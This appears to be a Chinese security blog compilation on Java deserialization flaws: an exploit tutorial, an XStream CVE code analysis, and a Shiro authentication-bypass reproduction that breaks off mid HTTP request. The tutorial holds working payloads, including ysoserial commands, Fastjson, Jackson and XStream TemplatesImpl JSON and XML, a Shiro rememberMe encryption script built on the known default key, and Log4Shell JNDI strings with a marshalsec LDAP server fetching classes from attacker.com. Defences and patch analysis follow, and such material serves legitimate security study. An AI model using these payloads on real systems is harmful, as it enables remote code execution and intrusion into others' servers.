  • 对象操纵:构造恶意对象,在反序列化时利用应用逻辑漏洞。

image

3. 常见Java反序列化漏洞与利用

以下是常见反序列化漏洞的详细分析,包括工具、Payload、测试代码及攻击示例。

工具准备:ysoserial

ysoserial是一个用于生成Java反序列化漏洞Payload的强大工具。

安装步骤

1
2
3
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

编译后生成ysoserial-[version]-all.jar,可用于生成多种Gadget链的Payload。

3.1 Apache Commons Collections(CC)

漏洞描述:Apache Commons Collections库(3.1–3.2.1及4.0版本)中的InvokerTransformer等类允许方法调用链构造,在反序列化时可实现RCE。

利用原理:通过InvokerTransformerChainedTransformer,结合LazyMapTiedMapEntry,构建Gadget链,最终调用Runtime.getRuntime().exec()

生成Payload(使用ysoserial):

1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  • Windows下使用calc打开计算器,Linux可替换为gnome-calculatorxcalc

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import java.io.*;
import org.apache.commons.collections.map.LazyMap;

public class VulnerableServer {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("payload.ser"));
ois.readObject(); // 触发命令执行
ois.close();
}
}

攻击示例

  1. 生成Payload:java -jar ysoserial.jar CommonsCollections1 "calc" > payload.ser
  2. 通过网络接口(文件上传或Socket)将payload.ser发送到服务端。
  3. 服务端反序列化Payload,执行calc.exe

可用链:CommonsCollections1–6,其中CommonsCollections1在旧版本中最可靠。

3.2 Fastjson(版本<1.2.47)

漏洞描述:Fastjson的@type功能允许指定反序列化的类。如果autotype启用或配置不当,攻击者可加载恶意类(如TemplatesImpl)。

利用Payload(JSON):

1
2
3
4
5
6
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

创建恶意类

  1. 编写Exploit.java
1
2
3
4
5
6
7
public class Exploit {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (Exception e) {}
}
}
  1. 编译并编码:
1
2
javac Exploit.java
base64 Exploit.class > exploit.b64
  1. 将base64内容插入JSON的bytecodes字段。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
import com.alibaba.fastjson.JSON;

public class VulnerableFastjson {
public static void main(String[] args) throws Exception {
String json = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
JSON.parse(json); // 触发漏洞
}
}

攻击示例

  1. 将恶意JSON发送到服务端接口(例如通过HTTP POST)。
  2. Fastjson反序列化Payload,执行calc命令。

受影响版本

  • Fastjson ≤ 1.2.24:默认启用autotype。
  • Fastjson ≤ 1.2.47:存在绕过方式(如使用B@替代@type)。

3.3 Jackson(启用Default Typing)

漏洞描述:Jackson的ObjectMapper在启用enableDefaultTyping()时支持多态反序列化,攻击者可通过@class指定恶意类。

利用Payload(JSON):

1
2
3
4
5
6
{
"@class": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"bytecodes": ["BASE64编码的恶意类"],
"name": "Exploit",
"tfactory": {}
}

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import com.fasterxml.jackson.databind.ObjectMapper;

public class VulnerableJackson {
public static void main(String[] args) throws Exception {
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping(); // 危险配置
String json = "{\"@class\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"bytecodes\":[\"BASE64恶意类\"],\"name\":\"Exploit\",\"tfactory\":{}}";
mapper.readValue(json, Object.class); // 触发漏洞
}
}

攻击示例

  1. 使用与Fastjson相同的Exploit.java和base64编码。
  2. 将JSON Payload发送到服务端接口。
  3. 服务端反序列化Payload,执行恶意代码。

3.4 XStream(版本<1.4.15)

漏洞描述:XStream将XML数据反序列化为Java对象。如果未配置类白名单,攻击者可通过XML构造恶意对象树触发漏洞。

利用Payload(XML):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<size>2</size>
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<name>Exploit</name>
<bytecodes>
<bytearray>BASE64编码的恶意类</bytearray>
</bytecodes>
<tfactory/>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<string>test</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
import com.thoughtworks.xstream.XStream;

public class VulnerableXStream {
public static void main(String[] args) {
XStream xstream = new XStream();
String xml = "<java.util.PriorityQueue serialization='custom'>...</java.util.PriorityQueue>";
xstream.fromXML(xml); // 触发漏洞
}
}

攻击示例

  1. 生成base64编码的恶意类(参考Fastjson部分)。
  2. 将base64字符串嵌入XML Payload。
  3. 将XML发送到服务端,触发代码执行。

3.5 Apache Shiro RememberMe

漏洞描述:Apache Shiro的rememberMe功能通过AES加密序列化用户数据。如果AES密钥已知(例如默认密钥kPH+bIxk5D2deZiIxcaaaA==),攻击者可构造恶意Payload。

利用步骤

  1. 使用ysoserial生成Payload:
1
java -jar ysoserial.jar CommonsCollections1 "calc" > payload.bin
  1. 使用已知AES密钥加密Payload:
1
2
3
4
5
6
7
8
9
10
11
12
from Crypto.Cipher import AES
import base64

key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
cipher = AES.new(key, AES.MODE_CBC, key)
with open("payload.bin", "rb") as f:
data = f.read()
pad = 16 - len(data) % 16
data += bytes([pad] * pad)
payload = cipher.encrypt(data)
encoded = base64.b64encode(payload).decode()
print(encoded)
  1. 构造请求:
1
2
3
GET / HTTP/1.1
Host: target.com
Cookie: rememberMe=BASE64编码的Payload

攻击示例

  1. 使用ysoserial生成CommonsCollections Payload。
  2. 使用默认或爆破的AES密钥加密。
  3. 设置rememberMeCookie并发送请求,触发反序列化。

3.6 Log4j2 JNDI注入(CVE-2021-44228,Log4Shell)

突然想到这个,也写一下~

漏洞描述:Log4j2(版本<2.16.0)在解析日志消息时会处理${jndi:}表达式,允许攻击者通过JNDI触发远程类加载。

image

利用Payload

1
${jndi:ldap://attacker.com/Exploit}

攻击准备

  1. 使用marshalsec启动LDAP服务:
1
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/Exploit"
  1. http://attacker.com/Exploit托管恶意类(Exploit.class)。

服务端测试代码(易受攻击):

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class VulnerableLog4j {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String userInput = "${jndi:ldap://attacker.com/Exploit}";
logger.info(userInput); // 触发JNDI查询
}
}

攻击示例

  1. 将Payload注入可记录的字段(例如HTTPUser-Agent头):
1
2
3
GET / HTTP/1.1
Host: target.com
User-Agent: ${jndi:ldap://attacker.com/Exploit}
  1. 服务端记录日志时触发JNDI查询,执行远程类。

4. 其他漏洞与利用

4.1 Spring Framework(Spring4Shell,CVE-2022-22965)

漏洞描述:在特定配置下,Spring的数据绑定允许攻击者操纵序列化对象,导致RCE。

利用Payload

1
2
3
4
5
POST / HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

class.module.classLoader.resources.context.parent.pipeline.first.pattern=malicious

防护措施:升级到Spring Framework ≥ 5.3.18,或应用严格的绑定规则。

4.2 Java RMI反序列化

漏洞描述:Java的远程方法调用(RMI)可能反序列化不可信数据,特别是在旧JDK版本(<8u121)中。

利用示例

  1. 使用ysoserial生成RMI Payload:
1
java -jar ysoserial.jar JRMPClient "attacker.com:1099/Exploit" > payload.ser
  1. 将Payload发送到RMI服务端,触发远程类加载。

防护措施:限制RMI仅限可信主机,应用JDK安全补丁(例如8u121+)。

5. 检测与测试工具

以下工具可用于检测和测试反序列化漏洞:

  • Ysoserial:生成多种Gadget链Payload。GitHub
  • Ysomap:统一的反序列化利用工具。GitHub
  • Shiro_attack:测试Shiro RememberMe漏洞。GitHub
  • Log4jscan:扫描Log4Shell漏洞。GitHub
  • Fastjson-blacklist-checker:检测Fastjson漏洞。GitHub

6. 防护与加固

通用实践

  1. 避免反序列化不可信数据:禁止处理来自不可信源的数据。
  2. 使用类白名单:限制反序列化仅允许指定的类。
  3. 升级依赖:使用最新版本的库和框架。
  4. 应用安全补丁:定期更新JDK和依赖项。

具体防护措施

库/组件 防护措施
Commons Collections 升级到3.2.2+或4.1+;使用ObjectInputFilter限制类。
Fastjson 禁用autotype;使用ParserConfig.getGlobalInstance().addAccept()设置白名单。
Jackson 禁用enableDefaultTyping();为ObjectMapper配置类白名单。
XStream 使用xstream.allowTypes()限制可反序列化的类。
Apache Shiro 更换默认AES密钥;禁用rememberMe或使用签名机制。
Log4j2 升级到≥2.16.0;设置log4j2.formatMsgNoLookups=true;禁用JNDI。
Spring Framework 升级到≥5.3.18;限制数据绑定参数。
Java RMI 限制RMI仅限可信主机;应用JDK补丁(例如8u121+)。

示例:使用ObjectInputFilter实现安全反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;

public class SafeDeserialization {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("object.ser"));
ois.setObjectInputFilter(filter -> {
Class<?> clazz = filter.getType();
if (clazz != null && MySafeClass.class.equals(clazz)) {
return ObjectInputFilter.Status.ALLOWED;
}
return ObjectInputFilter.Status.REJECTED;
});
Object obj = ois.readObject();
ois.close();
}
}

7. 总结

Java反序列化漏洞是一类高危安全问题,攻击者通过控制序列化数据并利用Gadget链,可在反序列化时执行任意代码。Apache Commons Collections、Fastjson、Jackson、XStream、Apache Shiro及Log4j2等库和框架是常见的攻击目标。通过理解Gadget链、使用ysoserial等工具生成Payload,以及采取严格的防护措施,开发者和安全人员可以有效应对这些威胁。

核心要点

  • 在反序列化前验证和过滤所有输入数据。
  • 使用类白名单,避免使用危险方法如readObject()
  • 保持依赖项和JDK的更新。
  • 使用ysoserial和Ysomap等工具测试应用漏洞。

通过遵循这些指南,可以显著降低Java应用中反序列化攻击的风险。

【组件攻击链】XStream组件高危漏洞分析与利用

【组件攻击链】XStream组件高危漏洞分析与利用

本文转自 深信服千里目安全技术中心 并作补充

组件介绍

XStream是Java类库,用来将对象序列化成XML(JSON)或反序列化为对象。XStream在运行时使用Java反射机制对要进行序列化的对象树的结构进行探索,并不需要对对象作出修改。XStream可以序列化内部字段,包括私private和final字段,并且支持非公开类以及内部类。在缺省情况下,XStream不需要配置映射关系,对象和字段将映射为同名XML元素。但是当对象和字段名与XML中的元素名不同时,XStream支持指定别名。XStream支持以方法调用的方式,或是Java标注的方式指定别名。XStream在进行数据类型转换时,使用系统缺省的类型转换器。同时,也支持用户自定义的类型转换器。XStream类图:

image

高危漏洞介绍

image

XStream组件漏洞主要是java反序列化造成的远程代码执行漏洞,目前官方通过黑名单的方式对java反序列化攻击进行防御,由于黑名单防御机制存在被绕过的风险,因此以后可能会再次出现类似上述java反序列化漏洞。

漏洞利用链

1 组件风险梳理

根据XStream组件的漏洞,结合XStream常用的使用场景,得到如下风险梳理的场景图。

image

2 利用链总结

基于风险梳理思维导图,总结出一种漏洞的利用场景。

无权限 -> GetShell

image

高可利用漏洞分析

从高危漏洞列表中,针对部分近年高可利用漏洞进行漏洞深入分析。

技术背景

java动态代理

Java标准库提供了一种 动态代理(Dynamic Proxy)的机制:可以在运行期动态创建某个interface的实例。

例子:我们先定义了接口Hello,但是我们并不去编写实现类,而是直接通过JDK提供的一个Proxy.newProxyInstance()创建了一个Hello接口对象。这种没有实现类但是在运行期动态创建了一个接口对象的方式,我们称为动态代码。JDK提供的动态创建接口对象的方式,就叫动态代理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package test3_proxyclass;



import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Method;

import java.lang.reflect.Proxy;



public class Main {

public static void main(String[] args) {

InvocationHandler handler = new InvocationHandler() {

@Override

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {

System.out.println(method);

if (method.getName().equals("morning")) {

System.out.println("Good morning, " + args[0]);

}

return null;

}

};

Hello hello = (Hello) Proxy.newProxyInstance(

Hello.class.getClassLoader(), // 传入ClassLoader

new Class[] { Hello.class }, // 传入要实现的接口

handler); // 传入处理调用方法的InvocationHandler

hello.morning("Bob");

}

}



interface Hello {

void morning(String name);

}

java动态代理机制中有两个重要的类和接口InvocationHandler(接口)和Proxy(类),这一个类Proxy和接口InvocationHandler是我们实现动态代理的核心;

**InvocationHandler接口:**proxy代理实例的调用处理程序实现的一个接口,每一个proxy代理实例都有一个关联的调用处理程序;在代理实例调用方法时,方法调用被编码分派到调用处理程序的invoke方法。

**newProxyInstance:**创建一个代理类对象,它接收三个参数,我们来看下几个参数的含义:

1
2
3
4
5
loader:一个classloader对象,定义了由哪个classloader对象对生成的代理类进行加载

interfaces:一个interface对象数组,表示我们将要给我们的代理对象提供一组什么样的接口,如果我们提供了这样一个接口对象数组,那么也就是声明了代理类实现了这些接口,代理类就可以调用接口中声明的所有方法。

h:一个InvocationHandler对象,表示的是当动态代理对象调用方法的时候会关联到哪一个InvocationHandler对象上,并最终由其调用。

getInvocationHandler: 返回指定代理实例的调用处理程序

getProxyClass: 给定类加载器和接口数组的代理类的java.lang.Class对象。

isProxyClass: 当且仅当使用getProxyClass方法或newProxyInstance方法将指定的类动态生成为代理类时,才返回true。

newProxyInstance: 返回指定接口的代理类的实例,该接口将方法调用分派给指定的调用处理程序。

1 XStream 远程代码执行漏洞

1.1 漏洞信息

1.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2013-7285

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.5 , CVSS v3.0:9.8

● 漏洞危害等级:高危

1.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

1.1.3 漏洞利用条件

1.1.4 漏洞影响

影响版本:XStream <= 1.4.6

1.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

1.2 漏洞复现

1.2.1 环境拓扑

image

1.2.2 应用协议

8080/HTTP

1.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

1.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

1.3 漏洞分析

1.3.1 代码分析

传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

找到sorted-set别名对应的java.util.SortedSet类,并将类存入realClassCache对象中。

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用defaultImplementationOf方法,在mapper对象中寻找java.util.SortedSet接口类的实现类java.util.TreeSet。

image

获取java.util.TreeSet类型,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器TreeSetConverter父类CollectionConverter中canConvert方法判断,传入的type与java.util.TreeMap相同,返回true,表示可以使用TreeSetConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

进入convert方法中,调用转换器中的unmarshal方法,对传入的xml数据继续解组。

image

首先调用unmarshalComparator方法判断是否存在comparator,如果不存在,则返回NullComparator对象。

image

根据unmarshalledComparator对象状态,为possibleResult对象赋予TreeSet类型对象。

image

由于possibleResult是一个空的TreeMap,因此最终treeMap也是一个空对象,从而调用treeMapConverter.populateTreeMap方法。

image

进入populateTreeMap方法中,首先调用调用putCurrentEntryIntoMap方法解析第一个标签,再调用populateMap方法处理之后的标签(此流程中二级标签只存在一个,因此在处理二级标签时暂不进入populateMap方法)。

image

具体调用流程如下,com.thoughtworks.xstream.converters.collections.TreeSetConverter类中调用putCurrentEntryIntoMap方法 -> com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem() 中的 readClassType()方法获取传入xml数据中标签名(别名)对应的类(与本节中获取sorted-set对应类的流程相同)。本次获取的是dynamic-proxy对应的java.lang.reflect.Proxy.DynamicProxyMapper类型,并将别名与类型作为键值对,存入realClassCache中。

image

image

回到AbstractCollectionConverter.readItem()方法中,调用convertAnother方法,寻找DynamicProxyMapper对应的convert,获取到DynamicProxyConverter转换器。

image

得到com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,按照之前获取转换器之后的流程,调用转换器中的unmarshal()方法获取interface元素,得到java.lang.Comparable,并添加到mapper中。

image

在通过循环查询,继续查找下面的节点元素,进而获得了handler java.beans.EventHandler。

image

调用Proxy.newProxyInstance方法创建动态代理,实现java.lang.Comparable接口。

image

调用convertAnother方法获取传入type的转换器,java.beans.EventHandler对应的convert是ReflectionConverter。并将父类及其对象写进HashMap中

image

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素target java.lang.ProcessBuilder。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取target标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,由于是java.beans.EventHandler作为动态代理的实现类,所以选择的转化器都是ReflectionConverter 。使用选中的转换器进行解组。

image

使用ReflectionConverter convert处理java.lang.ProcessBuilder ,在duUnmarshal()方法获取command标签和comand标签下的String标签及其参数。(其中String标签下的参数是在下一层convert调用中获取的。)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

image

在按照获取target标签相同的流程获取action标签,最终将start方法存入对象中。

image

回到TreeMapConverter#populateTreeMap方法中,上述过程中构造的object保存在sortedMap中。且其中的动态代理实现的接口是java.lang.Comparable,因此只要调用java.lang.Comparable接口中的compareTo方法,即可触发动态代理,进入java.beans.EventHandler实现类中的invoke方法。在populateTreeMap方法中调用putAll方法,将sortedMap中的对象写入result变量的过程中会调用到compareTo,调用链如下。

image

进入java.beans.EventHandler#invoke方法中,通过反射执行对象中的方法。

image

1.3.2 补丁分析

XStream1.4.7版本中,在com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类。从而防御了此漏洞。

image

2 XStream 远程代码执行漏洞

2.1 漏洞信息

2.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2019-10173

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.3 , CVSS v3.0:9.8

● 漏洞危害等级:高危

2.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

2.1.3 漏洞利用条件

2.1.4 影响版本

影响版本:XStream = 1.4.10

2.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

2.2 漏洞复现

2.2.1 拓扑图

image

2.2.2 应用协议

8080/HTTP

2.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

2.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

2.3 漏洞分析

2.3.1 代码分析

CVE-2019-10173漏洞与CVE-2013-7285漏洞原理相同,由于在XStream的安全模式默认不启动,导致防御失效。

Xstream 1.4.7对于漏洞的防御措施

通过在

com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类

image

Xstream 1.4.10漏洞产生原因

在com.thoughtworks.xstream.converters.reflection.ReflectionConverter类中,canConvert方法中的type != eventHandlerType被删除了,使得原来的漏洞利用方式可以再次被利用。

由于在Xstream1.4.10中的com.thoughtworks.xstream.XStream类增加了setupDefaultSecurity()方法和InternalBlackList转换器,通过黑名单的形式对漏洞进行防御。但是安全模式默认不开启,必须在初始化后才可以使用,eg:XStream.setupDefaultSecurity(xStream)。导致防御失效,造成漏洞的第二次出现。

image

image

2.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

2.3.3 漏洞防御

在Xstream1.4.11中的com.thoughtworks.xstream.XStream类中InternalBlackList类会对java.beans.EventHandler进行过滤,java.beans.EventHandler执行marshal或者unmarshal方法时,会抛出异常终止程序。

image

3 XStream 远程代码执行漏洞

3.1 漏洞信息

3.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2020-26217

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:无, CVSS v3.0:8.0

● 漏洞危害等级:高危

3.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

3.1.3 漏洞利用条件

3.1.4 漏洞影响

影响版本:XStream = 1.4.13

3.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

3.2 漏洞复现

3.2.1 环境拓扑

image

3.2.2 应用协议

8080/HTTP

3.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

3.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

3.3 漏洞分析

3.3.1 代码分析

代码分析:传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

在DefaultMapper中,通过反射,获取到string标签传入的class,并将类存入realClassCache对象中。

image

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器ReflectionConverter中canConvert方法判断,传入的type非null,返回true,表示可以使用ReflectionConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素iter java.util.ArrayList$Itr。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取iter标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,使用选中的ReflectionConverter转换器进行解组。

image

使用ReflectionConverter convert处理java.util.ArrayList$Itr ,在duUnmarshal()方法获取cursor标签和cursor标签下的参数。(调用unmarshallField方法,与上述流程相似)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

回到AbstractReflectionConverter#doUnmarshal方法中获取后续的标签及其参数(分别为lastRet,expectedModCount,outer-class)。

image

按照同样的反序列化流程获取属性值,并写入对象。

image

解析outer-class标签,由于type是java.util.ArrayList,选择转换器是CollectionConverter。

image

调用CollectionConverter#unmarshal方法进行反序列化。

image

调用CollectionConverter#populateCollection -> CollectionConverter#addCurrentElementToCollection->AbstractCollectionConverter#readItem方法。最终调用realClass方法获取type类,获取过程中将outer-class标签下的子标签存入realClassCache中。

image

回到AbstractCollectionConverter#readBareItem方法调用convertAnother方法,按照之前的流程进行反序列化,为属性赋值,并写入对象。

image

最终返回ProcessBuilder对象,写入FilterIterator对象中。

image

在按照获取java.util.ArrayList$Itr对象相同的流程获取javax.imageio.ImageIO$ContainsFilter对象,通过反序列化为其内部的method属性和name属性进行赋值。

在选择转换器的过程中,由于method属性的类型是java.lang.reflect.Method,因此选择对应的转换器为JavaMethodConverter。

image

调用JavaMethodConverter#unmarshal方法进行xml数据解析,获取java.lang.processBuilder类中的start方法对象,写入到javax.imageio.ImageIO$ContainsFilter对象中。

image

再按照相同的流程,将start方法名写入name属性中。

image

将FilterIterator对象返回给最初的iterator对象中。

image

调用iterator.next()方法时,会调用其实现类FilterIterator中的next方法。

image

进入调用advance方法,调用filter方法时,会通过反射执行ProcessBuilder对象中的start方法,从而造成代码执行。

image

image

3.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

3.3.3 漏洞防御

XStream1.4.14版本中,在com.thoughtworks.xstream.XStream的黑名单添加java.lang.ProcessBuilder和javax.imageio.ImageIO$ContainsFilter。从而防御了此漏洞。

image

参考链接

  1. https://blog.csdn.net/yaomingyang/article/details/80981004
  2. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_6...XSTREAM_1_4_7
  3. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_10...XSTREAM_1_4_11
  4. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_13...XSTREAM_1_4_14

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

Apache Shiro身份验证绕过漏洞(CVE-2022-40664)

本文转自 安博通 并作补充

漏洞信息

CVE编号:CVE-2022-40664

CNVD编号:CNVD-2022-68497

Apache Shiro是一款功能强大且易于使用的Java安全框架,主要包含身份验证、授权、加密和会话管理等功能,可用于保护任何应用程序。

  • 身份验证:用户登录
  • 授权:访问控制
  • 加密:保护或隐藏数据不被窥探
  • 会话管理:管理每个用户的状态

Apache Shiro身份验证绕过漏洞,是通过RequestDispatcher转发或包含时Shiro中的身份验证绕过而产生的漏洞。在Apache Shiro 1.10.0之前,攻击者可构造恶意代码利用该漏洞绕过shiro的身份验证,从而获取用户的身份权限。

影响范围

Apache Shiro < 1.10.0

修复建议

直接升级,升级补丁链接如下:

https://shiro.apache.org/download.html

安全防护

该漏洞是代码中函数逻辑问题导致的。当代码中存在一些特殊的调用和逻辑时,就可能触发该漏洞,因此远程请求是合法请求,没有恶意特征,安全厂商暂无法提取规则。

漏洞研究

漏洞复现

问题复现demo代码。

image

两个URL分别为/permit/{value}和/filterOncePerRequest/{value} 。

请求/permit/{value}时,被要求鉴权并拒绝。

image

请求/filterOncePerRequest/{value}时,成功绕过鉴权。

image

代码研究

Shiro 1.9(漏洞版本)和1.10(修复后版本),修改点在org.apache.shiro.web.servlet.OncePerRequestFilter.doFilter处,修改前1.9版本如下:

image

修改后1.10版本如下:

image

显然在判断request.getAttribute(alreadyFilteredAttributeName) 不为空的同时,添加了必须保证filterOncePerRequest也为True的条件。

从上面代码可以看出,在该请求处理过第一次之后,为请求添加了属性shiroFilter.FILTERED=true,在第二次forward请求进来时,会进到第一个if,跳过本Filter的执行。这种处理方式可能就是漏洞产生的原因。

在改动处打断点并debug,发送如下请求:

1
2
3
4
5
6
7
8
GET /filterOncePerRequest/any HTTP/1.1
Host: 172.31.1.101:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
